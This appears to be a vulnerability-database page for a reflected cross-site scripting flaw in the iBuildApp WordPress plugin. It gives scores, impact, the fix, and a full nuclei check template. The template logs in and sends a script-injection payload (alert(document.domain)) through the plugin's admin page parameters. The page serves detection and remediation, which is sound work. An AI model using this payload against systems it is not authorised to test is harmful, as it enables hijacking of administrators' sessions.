Browse / CVEs / CVE-2024-13326
CVE-2024-13326· CWE-79
iBuildApp <= 0.2.0 - Reflected Cross-Site Scripting
mediumseverity
6.1CVSS score
0.6%likelihood of exploitation, next 30 days
49%of all CVEs are less likely
Readycheck to confirm it
iBuildApp WordPress plugin through 0.2.0 contains a reflected cross-site scripting caused by unsanitized parameter output in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires attacker to craft a malicious URL.
Impact
Attackers can execute malicious scripts in the context of high privilege users, potentially leading to session hijacking or account compromise.
Fix
Update to version 0.2.1 or later, where input sanitization and output escaping are properly implemented.
How to confirm it
Send: POST /wp-login.php
Positive when: status_code == 302 and contains(header, 'wordpress_logged_in')
Send: GET /wp-admin/admin.php?page=ibuildapp-iframe-redirect&noheader=true"></script><script>alert(document.domain)</script><script>&targetPage=ibuildapp-app-publish…
Positive when: status_code == 200 and contains_all(body, "></script><script>alert(document.domain)</script><script>")Run it with nuclei: nuclei -id CVE-2024-13326 -u <target>
The full check
id: CVE-2024-13326
info:
name: iBuildApp <= 0.2.0 - Reflected Cross-Site Scripting
author: Sourabh-Sahu
severity: medium
description: |
iBuildApp WordPress plugin through 0.2.0 contains a reflected cross-site scripting caused by unsanitized parameter output in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires attacker to craft a malicious URL.
impact: |
Attackers can execute malicious scripts in the context of high privilege users, potentially leading to session hijacking or account compromise.
remediation: |
Update to version 0.2.1 or later, where input sanitization and output escaping are properly implemented.
reference:
- https://wpscan.com/vulnerability/dc1f755e-63f2-4f5d-a50e-9e2c589e6e4f/
- https://nvd.nist.gov/vuln/detail/CVE-2024-13326
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2024-13326
cwe-id: CWE-79
epss-score: 0.00584
epss-percentile: 0.48234
cpe: cpe:2.3:a:ibuildapp:ibuildapp:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
tags: cve,cve2024,wordpress,wpscan,wp-plugin,ibuildapp,xss,authenticated
flow: http(1) && http(2)
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
matchers:
- type: dsl
dsl:
- status_code == 302
- contains(header, 'wordpress_logged_in')
condition: and
internal: true
- raw:
- |
GET /wp-admin/admin.php?page=ibuildapp-iframe-redirect&noheader=true"></script><script>alert(document.domain)</script><script>&targetPage=ibuildapp-app-publishing"></script><script>alert(document.domain)</script><script>&to HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- status_code == 200
- contains_all(body, "></script><script>alert(document.domain)</script><script>")
condition: andReferences
- https://wpscan.com/vulnerability/dc1f755e-63f2-4f5d-a50e-9e2c589e6e4f/
- https://nvd.nist.gov/vuln/detail/CVE-2024-13326
Use this check only on systems you are authorised to test. Where the data comes from